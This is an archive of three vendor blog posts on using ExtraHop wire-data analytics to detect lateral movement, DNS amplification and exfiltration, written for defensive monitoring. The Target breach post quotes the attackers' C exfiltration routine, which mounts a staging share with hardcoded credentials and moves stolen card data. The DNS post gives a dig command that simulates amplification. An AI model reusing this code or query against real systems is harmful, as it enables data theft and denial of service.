Monthly Archives: May 2014

Advanced Persistent Surveillance: Re-thinking Lateral Communications with Wire Data Analytics

Several high profile compromises, involving breaches of trusted systems working over trusted ports, has – once again – raised the issue of lateral communications between internal hosts.  Breaches will continue as hackers evolve and learn to work around existing countermeasures that are, at times, overly based on algorithms and not based enough on surveillance.

So what is an infosec practitioner to do?

How practical is monitoring lateral communications?

Do we assign a person to look at every single build-up and tear-down?

Do we set all of our networking equipment to debug level 7 and pay to index petabytes of logs with a big data platform?

Do we assign a SecOps resource to watch every single conversation on our network?

Answer: Maybe…or maybe not.

Most of our critical systems (Cardholder Data Environment, CRM Databases, EMRs and HIS) are made up of a group of systems, some are client-server some are tiered with web services or MTS (Microsoft Transaction Services) acting as middleware and some are legacy socket driven solutions.  All of them have a common set of expected communications that can be monitored.

What if we could separate the millions of packets, and hopefully lion’s share, of expected communication from that communication which is unexpected?

What if we could do it at layer 7?

Using ExtraHop’s Wire Data Analytics Platform INFOSEC teams and application owners are positioned to be able to see non-standard lateral communications that would otherwise go unnoticed by incumbent IPS/Anti-malware/Anti-Virus tools.  The fact is, while we need the existing tools set, today’s complicated breaches tend to hide in the shadows communicating over approved ports and using trusted internal hosts.  ExtraHop shines light on this behavior leaving them exposed and positioning teams to “get their ‘stomp’ on” and stamp out these threats like cockroaches.

How we do it: 
Most INFOSEC practitioners have worked with Wire Data before though their IPS and IDS systems. ExtraHop’s platform is similar in that we work off of a span but instead of looking for specific signatures we observe and rebuild Layer 4-7 flows supporting speeds of up to a sustained 20 Gb per second. We also use a technology called triggers to support specific conditions we want to monitor and alert on (such as anomalies in lateral communications) This is a contrast from most of our perimeter defenses that scale into the megabit/single gigabit range, we are able to work up to the tens of gigabits range. The same innovation that allows us to collect Operational Intelligence and Performance metrics directly off a span port can be used to provide layer 4-7 digital surveillance of critical systems within your or your customer’s infrastructure.

While it is not practical to monitor every single transaction between your critical systems and other components of your enterprise applications, it is now possible, to monitor the unexpected traffic.  For instance, if we have a tiered application that has a web front end, RESTFUL web service tier and a back end database tier.  We can define the expected traffic that we should see between the tiers (what should be the lions share) and ignore that traffic while reporting on the traffic that is NOT expected.

Figure 1: We can write a trigger that ignores expected communications and reports on unexpected communications.

 

 

We can accomplish this task by writing two triggers, the first trigger is a basic Layer 4 detail surveillance trigger where we white-list selected hosts and protocols and only report on communications outside our expected conversations.  The second trigger is a layer 7 trigger that leverages ExtraHop’s layer 7 database fluency of SQL Server communications.  The layer 7 trigger will white-list specific stored procedures that are run from our REST tier that make up our Layer 7 expected communications.  Anything outside of these will be accounted for.

The first trigger makes the following assumptions:
The Web/Public tier comes in from hosts 192.168.1.10/20  and the REST tier is at 192.168.1.30.  The approved ports are 8000, 8080 and 1433.

The first trigger monitors client communications from specific clients and over specific ports.  Unlike NAC (Network Access Control), we are simply monitoring unexpected communications and we are not blocking anything.  In many cases we white list the Active Directory Controllers (if a Windows environment) and we would likely white list the WSUS server for Windows environments.  With the trigger below, you would be alerted of every RDP connection, any direct CIFS access or any exfiltration attempts that utilize ports not previously approved.  This simple trigger could have warned any number of breach victims of the staging that was going on prior to data being exfiltrated.  This trigger took less than one day to write (Don’t be intimidated by the javascript, I knew none when I started and we have people who can help you with it)

Leveraging layer 7 fluency:
Layer 7 surveillance is also a critical part of preventing tomorrow’s sophisticated breaches. In the trigger below, we are watching for expected layer 7 communications. A common occurrence in many high profile breaches is the compromise of a trusted system that is allowed to traverse sensitive networks. In the example above, if the REST tier were to become compromised it is particularly dangerous due to it’s being a trusted host of the Database environment (likely an open ACL). Using the trigger below, we can monitor which stored procedures we should be seeing connecting to the database. Stopthehacker.com states that there is a 156 day laps between the time a computer is compromised and the time it is detected. That is nearly six months that, in the event of a SOAP/REST tier breach, they have to run ad hoc queries against my back end database. For this reason, properly identifying anomaly’s at layer 7 (What SQL Statements are being run?) will be key in preventing/mitigating data loss and just might keep you out of the news.

So using the trigger we have created, if I run the following command (Example: emulate a breached Middleware server)

We are able to increment the counters in the ExtraHop dashboard:

Clicking on the “3” shows us the Offending IP and the Query that they ran:

 

And here we see that we can, in fact, send the data to Splunk or any other SIEMS product:

Digital Evidence:

You can also assign a precision packet capture to a trigger that will create a pcap file that you can use as digital evidence after the fact.

 

Sample Scenario: Middleware Breach
To show how a ExtraHop can detect a middleware breach (see Figure 2) using the two triggers above you would first catch the rogue queries being run with the layer 7 surveillance while ignoring the common stored procedures.  ExtraHop’s Wire Data Analytics will also catch the communications with the Exfiltration/staging server because the communications are outside of those we set in the trigger.    ExtraHop sees this communication and implements the steps in the triggers, from the first trigger it sees the REST tier communicating with an unknown host over an unknown port.  In the second trigger it sees the ad hoc queries mixed in with the normal stored procedures

Figure 2: SOAP/REST Tier Breached:
In figure 2 below you see how an ExtraHop Wire Data analytics appliance can be written to ignore expected traffic and only report on unexpected traffic.

 

Conclusion:

There has been a lot of talk about the need to monitor lateral communications but there has been little practical information on how to do it. Your digital surveillance strategy with Wire Data Analytics will be a living process that in which you periodically update and evaluate your connectivity profile. This is a crucial process often overlooked in INFOSEC.

Using ExtraHop’s platform to build out a surveillance strategy makes the once daunting prospect of monitoring lateral communications a workable process that can provide peace of mind.   We need to accept the fact that we cannot keep all Malware from getting inside; there are two types of systems, breached and about-to-get breached.  I think we need to look at our INFOSEC practice from the WHEN perspective and not the IF perspective.

As infiltration attempts become more sophisticated the ability to spot the building blocks of a data breach will become increasingly valuable.  ExtraHop can provide that extra set of eyes to do the heavy lifting for you while reporting on communications beyond those you expect, reducing the burden of additional auditing.  The reporting/surveillance framework also allows for application owners and shared services teams to get involved in INFOSEC by reviewing the periodic reports and, hopefully in most cases, deleting them.

Wire Data Analytics with the ExtraHop platform can provide your organization with a daily, weekly and monthly digital police blotter giving you the information you need to stay vigilant in the face of this new breed of threat.

Thank you for reading

 

John M. Smith

 

 

 

Advanced Persistent Surveillance: DNS Amplification Detection

I was doing some research today on DNS Amplification and how it can now be used as a weapon for DDOS. Within a few minutes I was actually able to simulate (on a very small scale) and demonstrate how you can track DNS Amplification attempts.

What I did:
I ran the following command against my local DNS Server to create a 500 byte size response. “dig @192.168.1.32 prague.studlab.os3.nl rrsig | grep -i ” size ” ”

 

This produced the following: (Notice the spike at 11:57 – 11:59) If you’re middle aged and blind like me…click the image :)

After drilling into the two minute spike by clicking on the chart I noted the following:
First I noted that we received 100 DNS requests within a one minute period from the host 192.168.1.97

I noted that the record type was all “Other”. This was certainly different than normal traffic I had seen over the previous two hours.

I also noted that the response size was considerably larger and exclusive to one client within the two minute period than over the previous two hours. (average was less than 100 previously)

 

Conclusion:
DNS amplification is becoming a new tool for bad actors to use to try and DDOS your services. Beyond the INFOSEC play, DNS is an important of today’s tiered applications and you should know how every DNS server in your network is performing. Wire data analytics positions you to be able to see the DNS performance of your A/D controllers for the purposes of regular communications as well as provides visibility into one of those UDP blind spots showing you who is attempting to DDOS you using DNS Amplification.

Thanks for reading

John

Advanced Persistent Surveillance with Wire Data (Target Breach Analysis and how wire data could have detected it)

2013 marked some of the most public breaches in recent history, a large portion of them involving Credit Card numbers and cardholder information being compromised. The year seemed to end with a bang as Target was the subject of a rather devastating breach of cardholder data that resulted from a “sophisticated” attack that involved several steps post breach that included setting up exfiltration, propagating malware and mounting CIFS String shares. This new breed of attack drives home some of the deficiencies in traditional INFOSEC strategies. Relying solely on algorithm based security has its limits as hackers learn to code within the blind spots. In the wake of the Target breach Eddie Schwartz, VP of Global Security Solutions at Verizon, stated “Once an attacker gets in, lateral movement is really difficult to detect because most organizations are perimeter-focused”. Citation

Mr. Schwartz’ statement drives home one of my frustrations with SecOps over the last ten years. While we do a lot to block packets from getting in, those that do get in seem to roam throughout the network, unmolested. Then there is simple, good old fashion insider theft. The ability to monitor lateral communications though digital surveillance I believe will be key in detecting and potentially stopping tomorrow’s 17 year old Russian hacker. While Target has become the whipping boy for the public due to one of the more publicized breaches, the fact is, Target is hardly the first to endure such an embarrassing compromise. Google, Lockheed Martin and even RSA have experienced security incidents as a result of well-planned attacks. You cannot tell me that they don’t have superior engineers working at Google, Lockheed and RSA? If you think you cannot get hacked or that you have NO disgruntled employees, think again. Digital surveillance positions you to be able to integrate wire data analytics into your existing SecOps strategy providing an alternative to alerts. In my opinion false positives are the downfall of a number of monitoring strategies not just Security tools.

In this post I want to talk about ExtraHop and how it can provide scalable, wire-speed surveillance of your infrastructure and deliver operational intelligence to your incumbent SecOps teams as well as provide detailed reports to individual application owners.

Surveillance vs. Alerting
If your SecOps team is dealing with thousands of alerts each day you run the risk of them becoming desensitized to them. While I agree alerts are very important I want to augment them with a surveillance strategy that includes sending daily, weekly and even monthly reports on specific activity. Also, I think that to fight against tomorrow’s more sophisticated attacks, we should start to re-introduce application hosting teams to the INFOSEC practice. Example: A SecOps engineer, who was not involved in the setup and design of a specific CRM application, may not see certain traffic as a potential breach. Let’s say a laptop in the mail room connects to your back end SQL Server hosting critical customer information or leads. They may have SQL Studio installed and could be coming in over port tcp/1433 with an approved set of credentials and may not trigger any alarms. Give this report to the SecOps person (who has 100s of other things going on at the same time) and it may look just fine. Hand this report to the App owner and they are likely going to fall out of their chair. The point is, we need the combination of surveillance and alerting to ensure that more sophisticated attacks are noticed before all of the pieces are in place. Along with this, we need to enlist application owners in a manner that does not turn them into a Security practitioner but gives them a quick report that they can glance over.

ExtraHop Wire Data Analytics Platform
Like the heading says, ExtraHop is a Wire Data Analytics platform. For most of you in INFOSEC, you have worked with wire data in the past with an IDS or IPS. Like an IDS/IPS we work with a network span but instead of searching for specific signatures, we have the ability to parse Layer 2-7 and reassemble the flows. This provides a myriad of benefits that include:

  • Application performance of specific Layer 7 application protocols
  • Layer 4 metrics in terms of turn timing of conversations between client, server including the port (what many more expensive tools do now is “guess” at the protocol by looking at the port)
  • Real-time Operational Intelligence, including digital surveillance of critical systems

At ExtraHop, while we do not market ourselves as an Information Security company, we do believe that integrating wire data analytics into your existing SecOps regimen will provide much of the visibility lacking in several of the last year’s compromises. The ExtraHop platform passively observes a spanned port (think of it as a digital version of a CCTV). Because of this, we are uniquely positioned to deliver digital surveillance of your critical systems at today’s high volume wire speeds (up to a sustained 20Gbps). In this post, I would like to cover how wire data analytics, when integrated with an existing SecOps regimen can help you product against zero-day attacks and provide the digital surveillance to go beyond regulatory box ticking and get down to the business of securing your critical assets, your data.

Analyzing the Target Breach and How ExtraHop Could Have Helped
In reviewing the data on the target breach as reported by krebsonsecurity.com (“Inside a Targeted Point of Sale Data Breach”) we want to provide examples of what steps we could have taken using ExtraHop’s wire data platform to provide digital surveillance that could have potentially mitigated the breach. For the record, Target was warned by FireEye and my intent here is not to indict anyone, I find FireEye to be a fantastic innovation and, in fact, see a lot of synergy between them and us.

Part 1:
Exfiltration Staging Detection
On page 4 of the PDF provided by kerbsonsecurity.com we note that data was moved to an attacker-designated internal server to collect information stolen from the individual POS terminals. The specific exfiltration script below shows the cmd/bat file they used.

char *     Exfiltrate() {
char buf[2048];
char buf3[24];
SYSTEMTIME SystemTime;
GetWindowsDirectory(buf, 2048);
strcat(buf, “\\system32\\winxml.dll”);
/* Retrieve name of this system */
szComputerName = _GetComputerName();
GetLocalTime(&SystemTime);
/* Decode hardcoded command string */
_StringUnscramble();
system(“net use S: \\10.116.240.31\c$\WINDOWS\twain_32 “

“/user:ttcopscli3acs\Best1_user BackupU$r”);
/* Decode hardcoded sprintf format string */
_StringUnscramble2();
sprintf(buf2, “move %s S:\\%s_%d_%d_%d.txt”,

buf, szComputerName, SystemTime.wDay, SystemTime.wMonth,
SystemTime.wHour);
EnterCriticalSection(&critSect);
system(buf);
LeaveCriticalSection(&critSect);
/* Remove mount point after file copy */
system(“net use S: /del”);
return sprintf(buf3, “%d”, SystemTime.wHour);
}

Below is a simple ExtraHop Trigger to warn you of when a user connects to a hidden share.
// Increment Counter on Hidden Share Access //

var client_ip = Flow.client.ipaddr;
var CIFSString = share + ” ## ” + client_ip ;
if(CIFS.share !== null) {
if(CIFS.share.indexOf(‘IPC$’) == -1){
if(CIFS.share.indexOf(‘$’) > -1) {
debug(CIFS.share);
Network.metricAddCount(“cifs_hidden_share_count”,1);
Network.metricAddDetailCount(“cifs_hidden_share_detail”,CIFSString,1);
}
}
}

Basically, the trigger ignores the commonly access “IPC$” share and increments the counter each time a hidden share is accessed. This counter can then be written an application or network container on the ExtraHop dashboard or we can syslog the event to Splunk, ArcSight, RSA Envision, etc.

Breach attempt Walk Through:
Let’s do a walk throuth of how this would look when Digital Surveillance is used with ExtraHop’s wire data analytics platform.

In my lab setup I have a custom dashboard set up to warn me when someone accesses a hidden CIFS Share. (See CIFS Hidden Share Access: 30)

When you click on the link you will are given a count of how many times the specific share as well as file was accessed/copied and by which system. Note below we see that the host 192.168.1.99 copied the file “DecryptedCreditCardNumbers.txt” to the hidden share of our supposed Exfiltration box. (BUSTED!!)

It is important to note that while we did all of this within the ExtraHop console, we could have just as easily sent this information to the incumbent SecOps SIEMS system. I would also like to append to the existing SecOps regimen surveillance metrics in the form of periodic emails to the app/system owners allowing them to participate in the security practice. This could be in the form of a few emails that they open up, read and (hopefully) archive. At the most five minutes out of their day to look over a report and escalate if they see something that doesn’t add up. The CIFS event offers additional metrics that can be reported on including (but not limited to) the UserID, Request and Response Bytes.

Below is a daily email example(I haven’t set up a hidden shares surveillance report yet) that I get and archive every morning. This specific email is for Port violations (any communications outside of trusted hosts) of our pretend Credit Card Database.

As you can see, using digital surveillance with wire data can cover some of the blind spots that exist within lateral communications. If you use a service such as FireEye, this will be great information for them to collect and quickly tell you that you have an issue vs. Parsing through potentially gigabytes of indexed data.

Part 2:

Exfiltration from the Staging server to the external server outside your organization
So if we continue with our sample walk-thru of the Target breach we get to second example where the credit card numbers are actually exfiltrated out of the internal network and onto servers in Russia. The example on Page 6 of the Krebsonsecurity pdf shows the staging server typing an ftp –c command citing a text file with a script that opened an FTP Session, navigated to a Public_html folder then copying the stolen data.

How ExtraHop can spot and report on exfiltration over FTP:

The first thing we do our immaginary Card Holder Environment is write a trigger white listing which ports and protocols are allowed to talk to which hosts. We do this with the script below:

 

ExtraHop’s triggers are able to tap into the wire and extract critical metrics and statistics from ongoing transactions and make it available to the Console, SIEMs system or an emailed report. The trigger on the left basically states that if there is a connection with a sever that is NOT a Domain Controller and is NOT with a trusted host and NOT over an approved port, increment the counters. This particular trigger is tied to our fictitious Database server(Sorry for the Blurriness, the arrow is pointing to a custom metric called “SQL Server Disallowed Ports“)

When you click on the SQL Server Disallowed Ports metric you note that someone used FTP to send something FROM the back end database. (I had to RDP to do it so you also see my RDP session on 3389 as well)

If we drill into the SQL Server we note that it was, in fact, an FTP Client

And when we click on “Files” we can see that a (actual) txt file was sent from our imaginary exfiltration server (BUSTED!)

Conclusion:
We have only scratched the surface of all the capabilities we have with wire data analytics when integrated into your SecOps practice. We can fully integrate into an existing SIEMS environment or if you are using the FireEye TAP service, we can send pre-parsed and normalized data to them making their analysis even better. ExtraHop has additional protocol fluencies in several Layer 7 protocols that include HTTP, SSL, DB (SQL, Oracle,MySQL,Postgres,DB2),NFS,SMTP,ICA,HL7, etc. ExtraHop also has an option to enable a precision packet capture which can provide a pcap file based on specific events giving you the ability to have digital evidence of malicious behavior. Digital surveillance positions SecOps to not only note the behavior of malware and malicious code but can also provide surveillance against insider threats or internal bad actors. Malware is a moving target, it is difficult, if not impossible, to expect vendors to be able to detect tomorrow’s signatures. Wire data analytics allows us to watch for packet-level behavior outside of the expected pattern. While alerts focus on an immediate threat at hand, more sophisticated attacks that involve multiple steps and hours, even days to set up, require a more detailed surveillance strategy that is also persistent. We believe that integrating ExtraHop’s wire data analytics platform into your existing security operations provides an easy path to getting app owners involved and help prevent your organization from being in the news.

Thanks for reading

John M Smith